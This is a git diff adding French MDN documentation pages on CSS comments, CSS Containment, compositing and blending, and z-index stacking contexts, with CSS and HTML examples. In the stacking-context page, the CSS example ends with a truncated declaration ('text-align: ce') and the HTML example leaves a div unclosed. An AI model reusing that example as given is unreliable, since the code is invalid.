diff --git a/files/fr/web/css/comments/index.html b/files/fr/web/css/comments/index.html
new file mode 100644
index 0000000000..1176e56c99
--- /dev/null
+++ b/files/fr/web/css/comments/index.html
@@ -0,0 +1,54 @@
+---
+title: Commentaires
+slug: Web/CSS/Comments
+tags:
+  - CSS
+  - Débutant
+  - Reference
+translation_of: Web/CSS/Comments
+---
+<div>{{CSSRef}}</div>
+
+<p>Les commentaires sont utilisés afin d'ajouter des notes explicatives ou pour empêcher le navigateur d'interpréter certaines parties de la feuille de style. Les commentaires n'ont donc aucun impact sur la disposition d'un document.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>On peut utiliser des commentaires à chaque endroit où un blanc est autorisé.</p>
+
+<pre class="syntaxbox">/* Commentaire */
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">/* Commentaire sur une ligne */
+
+/*
+Commentaire
+sur plusieurs
+lignes
+*/
+
+
+/* Le commentaire qui suit permet
+   de désactiver une règle */
+/*
+span {
+  color: blue;
+  font-size: 1.5em;
+}
+*/
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La syntaxe des commentaires avec <code>/* */</code> est utilisée pour étaler un commentaire sur une ou plusieurs lignes. On ne peut pas utiliser d'autres moyens pour les commentaires dans une feuille de style externe. Lorsqu'on utilise l'élément {{HTMLElement("style")}}, on peut utiliser les commentaires HTML <code>&lt;!-- --&gt;</code> pour masquer du CSS sur des navigateurs plus anciens mais cela n'est pas une méthode recommandée.</p>
+
+<p>À l'instar des autres langages de programmation programmation qui utilisent <code>/* */</code> pour les commentaires, il est impossible de les imbriquer. Autrement dit, la première apparition de <code>*/</code> suivant un <code>/*</code>, ferme le commentaire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li>
+  <div><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></div>
+ </li>
+</ul>
diff --git a/files/fr/web/css/compartimentation_css/index.html b/files/fr/web/css/compartimentation_css/index.html
new file mode 100644
index 0000000000..34af6f3274
--- /dev/null
+++ b/files/fr/web/css/compartimentation_css/index.html
@@ -0,0 +1,123 @@
+---
+title: Compartimentation CSS (CSS Containment)
+slug: Web/CSS/Compartimentation_CSS
+tags:
+  - CSS
+  - CSS Containment
+translation_of: Web/CSS/CSS_Containment
+---
+<p>{{CSSRef}}<br>
+ L'objectif du module de spécification <em>CSS Containment</em> (pour Compartimentation CSS) consiste à améliorer les performances des pages web en permettant aux développeurs d'isoler un sous-ensemble de la page. Si le navigateur sait que cette partie est indépendante, le rendu peut être optimisé et les performances améliorées. Ce module de spécification définit une seule propriété CSS : {{cssxref("contain")}}. Dans cet article, nous verrons les objectifs principaux de cette spécification.</p>
+
+<h2 id="Exemple_simple">Exemple simple</h2>
+
+<p>De nombreuses pages web disposent de plusieurs sections qui sont indépendantes les unes des autres. Voici une liste d'articles avec leurs titres et leurs contenus.</p>
+
+<pre class="brush: html">&lt;h1&gt;Mon blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Titre d'un article sympa&lt;/h2&gt;
+  &lt;p&gt;Un peu de contenu.&lt;/p&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Un autre titre pour un autre article&lt;/h2&gt;
+  &lt;p&gt;Un peu plus de contenu ici.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>Pour chaque article, on applique la propriété {{cssxref("contain")}} avec la valeur <code>content</code>.</p>
+
+<pre class="brush: css">article {
+  contain: content;
+}</pre>
+
+<p>Chaque article est indépendant des autres articles de la page et on fournit <code>contain: content</code> afin d'indiquer cette indépendance au navigateur. Ce dernier peut alors prendre des décisions quant au rendu du contenu (par exemple, ne pas travailler sur le rendu d'articles qui ne sont pas sur la zone visible).</p>
+
+<p>Si on fournit <code>contain: content</code> pour chaque <code>&lt;article&gt;</code>, lorsque de nouveaux éléments sont insérés, le navigateur comprendra qu'il n'est pas nécessaire de tout repeindre/redisposer à l'intérieur de l'arbre de l'élément. Toutefois, si <code>&lt;article&gt;</code> est mis en forme de telle façon que sa forme dépend de son contenu (ex. <code>height: auto</code>), le navigateur devra prendre en compte le redimensionnement.</p>
+
+<p>La valeur <code>content</code> est une valeur synthétique pour <code>contain: layout paint</code>. Elle indique au navigateur que la disposition de l'élément est complètement séparée de celle du reste de la page et que tout ce qui concerne l'élément est peint à l'intérieur de son cadre et que rien ne peut dépasser.</p>
+
+<p>Cette information est parfois connue voire évidente pour la ou les personnes qui construisent la page. Toutefois, les navigateurs ne peuvent pas simplement deviner cette intention et partir du principe que chaque article ne débordera pas. Cette propriété permet ainsi d'expliquer la situation au navigateur afin que celui-ci puisse en tirer parti et optimiser ce qu'il peut grâce à cette hypothèse.</p>
+
+<h2 id="Concepts_et_terminologie">Concepts et terminologie</h2>
+
+<p>Cette spécification ne définit qu'une seule propriété : {{cssxref("contain")}}. Les valeurs fournies à cette propriété indiquent le type de compartimentation qu'on souhaite appliquer à l'élément.</p>
+
+<h3 id="Compartimentation_de_la_disposition">Compartimentation de la disposition</h3>
+
+<pre class="brush: css">article {
+  contain: layout;
+}</pre>
+
+<p>La disposition porte normalement sur l'intégralité d'un document et si on déplace un élément, c'est tout le document qui doit être reconsidéré car tout peut avoir bougé. Avec <code>contain: layout</code>, on indique au navigateur qu'il est uniquement nécessaire de vérifier cet élément et son contenu : tout ce qu'il contient n'affecte pas le reste de la page et la boîte englobante crée un contexte de formatage indépendant.</p>
+
+<p>De plus :</p>
+
+<ul>
+ <li>Les dispositions flottantes (avec <code>display:</code><code>float</code>) seront traitées indépendamment.</li>
+ <li>Les marges ne fusionneront pas en dehors des limites du bloc englobant ainsi compartimenté</li>
+ <li>Le conteneur de la disposition sera un bloc englobant pour les éléments descendants avec des positions <code>absolute</code>/<code>fixed</code>.</li>
+ <li>La boîte englobante crée un contexte d'empilement et on peut donc utiliser {{cssxref("z-index")}}.</li>
+</ul>
+
+<h3 id="Compartimentation_pour_la_peinture">Compartimentation pour la peinture</h3>
+
+<pre class="brush: css">article {
+  contain: paint;
+}</pre>
+
+<p>La compartimentation avec <code>paint</code> limite/rogne la boîte jusqu'à la limite de la zone de remplissage (<em>padding</em>) de la boîte principale. Autrement dit, il ne peut pas y avoir de chevauchement visible. On a également les mêmes règles qu'avec <code>layout</code> (voir ci-avant).</p>
+
+<p>De plus, lorsque la boîte englobante est hors de l'écran, le navigateur n'a pas besoin de peindre ses éléments (car ceux-ci sont contenus dans cette boîte au sens géométrique).</p>
+
+<h3 id="Compartimentation_pour_le_dimensionnement">Compartimentation pour le dimensionnement</h3>
+
+<pre class="brush: css">article {
+  contain: size;
+}</pre>
+
+<p>La compartimentation du dimensionnement, utilisée seule, n'offre pas un grand intérêt quant aux performances. Cette valeur signifie que la taille des éléments fils ne doit pas affecter la taille de l'élément ciblé — sa taille est calculée comme si l'élément n'avait pas de fils.</p>
+
+<p>Si on active <code>contain: size</code>, il faut alors définir la taille de l'élément sur lequel on l'applique. Sinon, dans la plupart des cas, l'élément aura des dimensions nulles.</p>
+
+<h3 id="Compartimentation_pour_le_style">Compartimentation pour le style</h3>
+
+<pre class="brush: css">article {
+  contain: style;
+}</pre>
+
+<p>Malgré son nom, cette valeur ne fournit pas un style compartimenté comme on pourrait l'avoir avec un <a href="/fr/docs/Web/Web_Components/Using_shadow_DOM"><em>Shadow</em> DOM</a>. Cette valeur sert principlament pour les <a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">compteurs CSS</a> qui pourraient changer sur un élément et affecter le reste de l'arborescence.</p>
+
+<p>En utilisant <code>contain: style</code>, on s'assure que les propriétés {{cssxref("counter-increment")}} et {{cssxref("counter-set")}} créent de nouveaux compteurs limités à ce sous-arbre.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La valeur <code>style</code> est considérée comme « à risque » dans la spécification actuelle et pourrait ne pas être prise en charge partout (elle n'est actuellement pas prise en charge dans Firefox - novembre 2019).</p>
+</div>
+
+<h3 id="Valeurs_spéciales">Valeurs spéciales</h3>
+
+<p>La propriété <code>contain</code> possède deux valeurs spéciales :</p>
+
+<ul>
+ <li><code>content</code></li>
+ <li><code>strict</code></li>
+</ul>
+
+<p>La première (vue dans le premier exemple) est un synonyme pour la conjonction de <code>layout</code> et <code>paint</code>. La spécification décrit cette valeur comme pouvant « raisonnablement être appliquée largement de façon saine ». Elle n'applique pas la compartimentation pour le dimensionnement (<code>size</code>) donc on ne risque pas d'avoir une boîte avec une taille nulle en raison de la taille de ses enfants.</p>
+
+<p>Pour obtenir la compartimentation la plus forte, on utilisera <code>contain: strict</code> qui est synonyme de <code>contain: size layout paint</code> voire on ajoutera ensuite la compartimentation du style pour les navigateurs qui la prennent en charge :</p>
+
+<pre class="brush: css">contain: strict;
+contain: strict style;</pre>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<ul>
+ <li>{{cssxref("contain")}}</li>
+</ul>
+
+<h2 id="Ressources_externes">Ressources externes</h2>
+
+<ul>
+ <li><a href="https://blogs.igalia.com/mrego/2019/01/11/an-introduction-to-css-containment/">Une introduction à la compartimentation CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/compositing_and_blending/index.html b/files/fr/web/css/compositing_and_blending/index.html
new file mode 100644
index 0000000000..a8df83d071
--- /dev/null
+++ b/files/fr/web/css/compositing_and_blending/index.html
@@ -0,0 +1,74 @@
+---
+title: Compositing and Blending
+slug: Web/CSS/Compositing_and_Blending
+tags:
+  - Aperçu
+  - CSS
+  - Compositing and Blending
+  - Overview
+  - Reference
+translation_of: Web/CSS/Compositing_and_Blending
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>Compositing and Blending</strong></em> (Composition et fusion) est un module de la spécification CSS qui définit la façon dont les formes de différents éléments sont combinés afin de former une seule image.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background-blend-mode")}}</li>
+ <li>{{cssxref("isolation")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}</li>
+ <li> </li>
+</ul>
+</div>
+
+<h3 id="Types_de_donnée">Types de donnée</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Compositing")}}</td>
+   <td>{{Spec2("Compositing")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="background-blend-mode"><code>background-blend-mode</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.background-blend-mode")}}</p>
+
+<h3 id="isolation"><code>isolation</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.isolation")}}</p>
+
+<h3 id="mix-blend-mode"><code>mix-blend-mode</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.mix-blend-mode")}}</p>
diff --git a/files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html b/files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html
new file mode 100644
index 0000000000..d12e2113d1
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html
@@ -0,0 +1,149 @@
+---
+title: Ajouter z-index
+slug: Web/CSS/Comprendre_z-index/Ajout_de_z-index
+tags:
+  - Avancé
+  - CSS
+  - Guide
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+---
+<div>{{CSSRef}}{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_et_float","Web/CSS/Comprendre_z-index/Empilement_de_couches", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="Ajouter_z-index">Ajouter <code>z-index</code></h2>
+
+<p>Dans le premier exemple, <a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_sans_z-index">« empilement sans <code>z-index</code> »</a>,  illustre comment l'empilement fonctionne par défaut. Pour définir un ordre d'empilement différent, il faut utiliser la propriété CSS {{cssxref("z-index")}}.</p>
+
+<p>Cette propriété, dont l'attribut est une valeur entière (positive ou négative), représente la position de l'élément le long de l'axe Z. Pour se représenter cette notion, on peut imaginer que la page possède plusieurs couches, les unes au dessus des autres. Chaque couche est numérotée. Un couche avec une grande valeur de <code>z-index</code> est affichée par dessus toutes celles dont la valeur est inférieure à la sienne.</p>
+
+<div class="warning">
+<p><strong>Attention :</strong> <code>z-index</code> a un effet sur les éléments uniquement si ceux-ci sont <a href="/fr/docs/Web/CSS/position">positionnés</a>.</p>
+</div>
+
+<ul>
+ <li><em>Bas : couche la plus lointaine de l'observateur</em></li>
+ <li>…</li>
+ <li>Couche -3</li>
+ <li>Couche -2</li>
+ <li>Couche -1</li>
+ <li>Couche 0 <em>couche de rendu par défaut</em></li>
+ <li>Couche 1</li>
+ <li>Couche 2</li>
+ <li>Couche 3</li>
+ <li>…</li>
+ <li><em>Haut : couche la plus proche de l'observateur</em></li>
+</ul>
+
+<div class="note">
+<p><strong>Notes :</strong></p>
+
+<ul>
+ <li>Lorsque la propriété <code>z-index</code> n'est pas définie, les éléments sont rendus sur la couche 0 par défaut.</li>
+ <li>Si plusieurs éléments possède la même valeur de <code>z-index</code> (c'est-à-dire qu'ils sont placés sur la même couche), alors les règles d'empilement expliquées dans <a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_sans_z-index">empilement sans <code>z-index</code></a> s'appliquent.</li>
+</ul>
+</div>
+
+<p>Dans l'exemple qui suit, l'empilement des couches a été réordonné en utilisant <code>z-index</code>. Le <code>z-index</code> du bloc DIV#5 n'a pas d'effet, l'élément n'étant pas positionné.</p>
+
+<p>{{EmbedLiveSample("Code_source_de_l’exemple", '468', '365')}}</p>
+
+<h2 id="Code_source_de_l’exemple"><strong>Code source de l’exemple</strong></h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="abs1"&gt;
+  &lt;b&gt;DIV #1&lt;/b&gt;
+  &lt;br /&gt;position: absolute;
+  &lt;br /&gt;z-index: 5;
+&lt;/div&gt;
+
+&lt;div id="rel1"&gt;
+  &lt;b&gt;DIV #2&lt;/b&gt;
+  &lt;br /&gt;position: relative;
+  &lt;br /&gt;z-index: 3;
+&lt;/div&gt;
+
+&lt;div id="rel2"&gt;
+  &lt;b&gt;DIV #3&lt;/b&gt;
+  &lt;br /&gt;position: relative;
+  &lt;br /&gt;z-index: 2;
+&lt;/div&gt;
+
+&lt;div id="abs2"&gt;
+  &lt;b&gt;DIV #4&lt;/b&gt;
+  &lt;br /&gt;position: absolute;
+  &lt;br /&gt;z-index: 1;
+&lt;/div&gt;
+
+&lt;div id="sta1"&gt;
+  &lt;b&gt;DIV #5&lt;/b&gt;
+  &lt;br /&gt;no positioning
+  &lt;br /&gt;z-index: 8;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  padding: 10px;
+  opacity: 0.7;
+  text-align: center;
+}
+
+b {
+  font-family: sans-serif;
+}
+
+#abs1 {
+  z-index: 5;
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  top: 10px;
+  left: 10px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#rel1 {
+  z-index: 3;
+  height: 100px;
+  position: relative;
+  top: 30px;
+  border: 1px dashed #696;
+  background-color: #cfc;
+  margin: 0px 50px 0px 50px;
+}
+
+#rel2 {
+  z-index: 2;
+  height: 100px;
+  position: relative;
+  top: 15px;
+  left: 20px;
+  border: 1px dashed #696;
+  background-color: #cfc;
+  margin: 0px 50px 0px 50px;
+}
+
+#abs2 {
+  z-index: 1;
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  top: 10px;
+  right: 10px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#sta1 {
+  z-index: 8;
+  height: 70px;
+  border: 1px dashed #996;
+  background-color: #ffc;
+  margin: 0px 50px 0px 50px;
+}
+</pre>
+
+<p>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_et_float","Web/CSS/Comprendre_z-index/Empilement_de_couches", "Web/CSS/Comprendre_z-index")}}</p>
diff --git a/files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html b/files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html
new file mode 100644
index 0000000000..20fa6ab2ce
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html
@@ -0,0 +1,213 @@
+---
+title: L'empilement de couches
+slug: Web/CSS/Comprendre_z-index/Empilement_de_couches
+tags:
+  - Avancé
+  - CSS
+  - Guide
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+---
+<div>{{CSSRef}}{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Ajout_de_z-index","Web/CSS/Comprendre_z-index/Exemple_1", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="Le_contexte_dempilement">Le contexte d'empilement</h2>
+
+<p>Dans l'exemple précédent, <a href="/fr/docs/Web/CSS/Comprendre_z-index/Ajout_de_z-index">Ajout de z-index</a>, les blocs <em>DIV</em> sont rendus les uns au dessus des autres (de l'arrière vers l'avant), en commençant par celui dont la valeur de {{cssxref("z-index")}} est la plus faible et en finissant par celui dont la valeur de <code>z-index</code> est la plus forte. Dans cet exemple, il n'y a qu'un seul <em>contexte d'empilement</em>, qui est l'élément <code>HTML</code> racine de la page.</p>
+
+<p>Dans certaines conditions, un contexte d'empilement enfant peut être créé à l'intérieur d'un bloc <em>DIV</em> (ou un autre élément) n'importe où dans le document. En particulier, un élément positionné (en absolu ou en relatif) possédant une valeur de <code>z-index</code> différente de <em>auto</em> crée son propre contexte d'empilement : tous ses éléments enfants sont entièrement empilés dans ce contexte, suivant les mêmes règles que celles expliquées précédemment. Les valeurs de <code>z-index</code> de ses enfants n'ont de signification que dans ce contexte. Le bloc <em>DIV</em> entier et son contenu sont empilés comme un seul élément dans le contexte d'empilement de leur parent.</p>
+
+<p>Un contexte d'empilement est formé dans le document par n'importe quel élément qui répond à l'un de ces critères :</p>
+
+<ul>
+ <li>L'élément racine du document (HTML)</li>
+ <li>Un élément pour lequel {{cssxref("position")}} vaut <code>absolute</code> ou <code>relative</code> et pour lequel {{cssxref("z-index")}} est différente de <code>auto</code></li>
+ <li>Un élément pour lequel {{cssxref("position")}} vaut <code>fixed</code> ou <code>sticky</code></li>
+ <li>Un élément qui est le fils d'un conteneur flexible ({{cssxref("flexbox")}}) pour lequel {{cssxref("z-index")}} est différente de <code>auto</code></li>
+ <li>Un élément qui est le fils d'un conteneur en grille ({{cssxref("grid")}}) pour lequel {{cssxref("z-index")}} est différente de <code>auto</code></li>
+ <li>Un élément pour lequel {{cssxref("opacity")}} est inférieure à 1 (cf. <a href="https://www.w3.org/TR/css3-color/#transparency">la spécification</a>)</li>
+ <li>Un élément pour lequel {{cssxref("mix-blend-mode")}} est différente de <code>normal</code></li>
+ <li>Un élément pour lequel n'importe laquelle de ces propriétés est différente de <code>none</code> :
+  <ul>
+   <li>{{cssxref("transform")}}</li>
+   <li>{{cssxref("filter")}}</li>
+   <li>{{cssxref("perspective")}}</li>
+   <li>{{cssxref("clip-path")}}</li>
+   <li>{{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}</li>
+  </ul>
+ </li>
+ <li>Un élément pour lequel {{cssxref("isolation")}} vaut <code>isolate</code></li>
+ <li>Un élément pour lequel {{cssxref("-webkit-overflow-scrolling")}} vaut <code>touch</code>.</li>
+ <li>Un élément pour lequel la valeur de la propriété {{cssxref("will-change")}} concerne une propriété qui créerait un contexte d'empilement avec une valeur non-initiale.</li>
+ <li>Un élément pour lequel la valeur de la propriété {{cssxref("contain")}} est <code>layout</code>, <code>paint</code> ou une valeur composite contenant un de ces mots-clés (par exemple <code>contain: strict</code> ou <code>contain: content</code>).</li>
+</ul>
+
+<p>Sans contexte d'empilement, les éléments fils sont empilés selon les règles vues avant. Les valeurs des <code>z-index</code> pour les contextes d'empilement des éléments fils ont uniquement un sens pour l'élément parent. Les contextes d'empilement sont traités de façon atomique, comme une seule unité, dans le contexte de l'élément parent.</p>
+
+<p>En bref :</p>
+
+<ul>
+ <li>Les contextes d'empilement peuvent être enfants d'autres contextes d'empilement, et ensemble forment une hiérarchie de contextes d'empilement.</li>
+ <li>Chaque contexte d'empilement est indépendant de ses voisins : seuls les éléments enfants sont pris en compte lorsque l'empilement est traité.</li>
+ <li>Chaque contexte d'empilement est autonome : Une fois que le contenu de l'élément est empilé, l'élément entier est pris en compte dans l'ordre d'empilement du contexte parent.</li>
+</ul>
+
+<div class="note"><strong>Notes :</strong> La hiérarchie des contextes d'empilement est un sous-ensemble de la hiérarchie des éléments HTML, car seuls les éléments positionnés dans l'espace (avec la propriété <code>z-index</code> créent des contextes d'empilement. On peut dire que les éléments qui ne créent pas leur propre contexte d'empilement sont <em>assimilés</em> par le contexte d'empilement parent.</div>
+
+<h4 id="Illustration">Illustration</h4>
+
+<p><img alt="Figure 1. Exemple de règles d'empilement modifiées avec la propriété z-index" class="internal" src="/@api/deki/files/1451/=Understanding_zindex_04.png"></p>
+
+<p>Dans cet exemple, tous les éléments positionnés créent leur propre contexte d'empilement, du fait de leur positionnement et de leur valeur <code>z-index</code>. La hiérarchie des contextes d'empilement est organisée comme suit :</p>
+
+<ul>
+ <li>Racine
+  <ul>
+   <li>DIV #1</li>
+   <li>DIV #2</li>
+   <li>DIV #3
+    <ul>
+     <li>DIV #4</li>
+     <li>DIV #5</li>
+     <li>DIV #6</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Il est important de noter que les blocs <em>DIV #4</em>, <em>DIV #5</em> et <em>DIV #6</em> sont les enfants du bloc <em>DIV #3</em>, donc leur empilement est complètement résolu à l'intérieur de ce dernier. Une fois que l'empilement et le rendu à l'intérieur du bloc 3 sont définis, la totalité de l'élément <em>DIV #3</em> est prise en compte pour l'empilement dans l'élément racine par rapport à ses <em>DIV</em> voisins.</p>
+
+<div class="note">
+<p><strong>Notes :</strong></p>
+
+<ul>
+ <li><em>DIV #4</em> est rendu dans le bloc <em>DIV #1</em> car le <code>z-index</code> (5) de celui-ci est valide à l'intérieur du contexte d'empilement de l'élément racine, alors que le <code>z-index</code> (6) du bloc <em>DIV #4</em> est valide à l'intérieur du contexte d'empilement du bloc <em>DIV #3</em>. Ainsi, DIV #4 se trouve sous <em>DIV #1</em>, parce que <em>DIV #4</em> appartient à <em>DIV #3</em>, qui possède une valeur de <code>z-index</code> plus petite.</li>
+ <li>Pour la même raison <em>DIV #2</em> (dont le <code>z-index</code> est 2) est rendu sous <em>DIV#5</em> (de <code>z-index</code> égal à 1) parce que <em>DIV #5</em> appartient à <em>DIV #3</em>, qui possède une valeur de <code>z-index</code> plus grande.</li>
+ <li>Le <code>z-index</code> du bloc <em>DIV #3</em> est 4, mais cette valeur est indépendante du <code>z-index</code> du bloc <em>DIV #4</em>, <em>DIV #5</em> et <em>DIV #6</em>, parce qu'il appartient à un contexte d'empilement différent.</li>
+</ul>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* {
+  margin: 0;
+}
+
+html {
+  padding: 20px;
+  font: 12px/20px Arial, sans-serif;
+}
+
+div {
+  opacity: 0.7;
+  position: relative;
+}
+
+h1 {
+  font: inherit;
+  font-weight: bold;
+}
+
+#div1, #div2 {
+  border: 1px dashed #696;
+  padding: 10px;
+  background-color: #cfc;
+}
+
+#div1 {
+  z-index: 5;
+  margin-bottom: 190px;
+}
+
+#div2 {
+  z-index: 2;
+}
+
+#div3 {
+  z-index: 4;
+  opacity: 1;
+  position: absolute;
+  top: 40px;
+  left: 180px;
+  width: 330px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+  padding: 40px 20px 20px;
+}
+
+#div4, #div5 {
+  border: 1px dashed #996;
+  background-color: #ffc;
+}
+
+#div4 {
+  z-index: 6;
+  margin-bottom: 15px;
+  padding: 25px 10px 5px;
+}
+
+#div5 {
+  z-index: 1;
+  margin-top: 15px;
+  padding: 5px 10px;
+}
+
+#div6 {
+  z-index: 3;
+  position: absolute;
+  top: 20px;
+  left: 180px;
+  width: 150px;
+  height: 125px;
+  border: 1px dashed #009;
+  padding-top: 125px;
+  background-color: #ddf;
+  text-align: ce        }
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="div1"&gt;
+  &lt;h1&gt;Division Element #1&lt;/h1&gt;
+  &lt;code&gt;position: relative;&lt;br/&gt;
+  z-index: 5;&lt;/code&gt;
+&lt;/div&gt;
+
+&lt;div id="div2"&gt;
+  &lt;h1&gt;Division Element #2&lt;/h1&gt;
+  &lt;code&gt;position: relative;&lt;br/&gt;
+  z-index: 2;&lt;/code&gt;
+&lt;/div&gt;
+
+&lt;div id="div3"&gt;
+
+  &lt;div id="div4"&gt;
+    &lt;h1&gt;Division Element #4&lt;/h1&gt;
+    &lt;code&gt;position: relative;&lt;br/&gt;
+    z-index: 6;&lt;/code&gt;
+  &lt;/div&gt;
+
+  &lt;h1&gt;Division Element #3&lt;/h1&gt;
+  &lt;code&gt;position: absolute;&lt;br/&gt;
+  z-index: 4;&lt;/code&gt;
+
+  &lt;div id="div5"&gt;
+    &lt;h1&gt;Division Element #5&lt;/h1&gt;
+    &lt;code&gt;position: relative;&lt;br/&gt;
+    z-index: 1;&lt;/code&gt;
+  &lt;/div&gt;
+
+  &lt;div id="div6"&gt;
+    &lt;h1&gt;Division Element #6&lt;/h1&gt;
+    &lt;code&gt;position: absolute;&lt;br/&gt;
+    z-index: 3;&lt;/code&gt;
+  &lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple","556","396")}}</p>
+
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Ajout_de_z-index","Web/CSS/Comprendre_z-index/Exemple_1", "Web/CSS/Comprendre_z-index")}}</div>
diff --git a/files/fr/web/css/comprendre_z-index/empilement_et_float/index.html b/files/fr/web/css/comprendre_z-index/empilement_et_float/index.html
new file mode 100644
index 0000000000..de0cc3761f
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/empilement_et_float/index.html
@@ -0,0 +1,135 @@
+---
+title: Empilement et éléments flottants
+slug: Web/CSS/Comprendre_z-index/Empilement_et_float
+tags:
+  - Avancé
+  - CSS
+  - Contextes d’empilement
+  - Guide
+  - Ordre d’empilement
+  - float
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+---
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_sans_z-index","Web/CSS/Comprendre_z-index/Ajout_de_z-index", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="L'empilement_et_les_éléments_flottants">L'empilement et les éléments flottants</h2>
+
+<p>Pour les blocs flottants, l'ordre d'empilement est légèrement différent. Les blocs flottants sont disposés entre les blocs non positionnés et les blocs positionnés. Voici l'ordre d'empilement :</p>
+
+<ol>
+ <li>L'arrière-plan et les bordures de l'élément racine du document</li>
+ <li>Les blocs qui descendent les uns des autres et qui sont situés dans le flux normal, dans l'ordre dans lequel ils apparaissent (pour HTML) ;</li>
+ <li>Les blocs flottants ;</li>
+ <li>Les éléments enfants positionnés, dans leur ordre d'apparence (pour HTML).</li>
+</ol>
+
+<p>En fait, comme on le voit avec l'exemple ci-après, l'arrière-plan et la bordure du bloc non positionné (DIV n°4) ne sont pas impactés par les blocs flottants alors que le contenu est affecté. Il s'agit du comportement standard de la propriété CSS {{cssxref("float")}}.</p>
+
+<p>Ce comportement peut être expliqué en améliorant la liste précédente :</p>
+
+<ol>
+ <li>L'arrière-plan et les bordures de l'élément racine ;</li>
+ <li>Les blocs enfants dans le flux normal, dans leur ordre d'apparence (en HTML) ;</li>
+ <li>Les blocs flottants ;</li>
+ <li>Les éléments « en-ligne » enfants dans le flux normal ;</li>
+ <li>Les éléments enfants positionnés, dans leur ordre d'apparence (en HTML).</li>
+</ol>
+
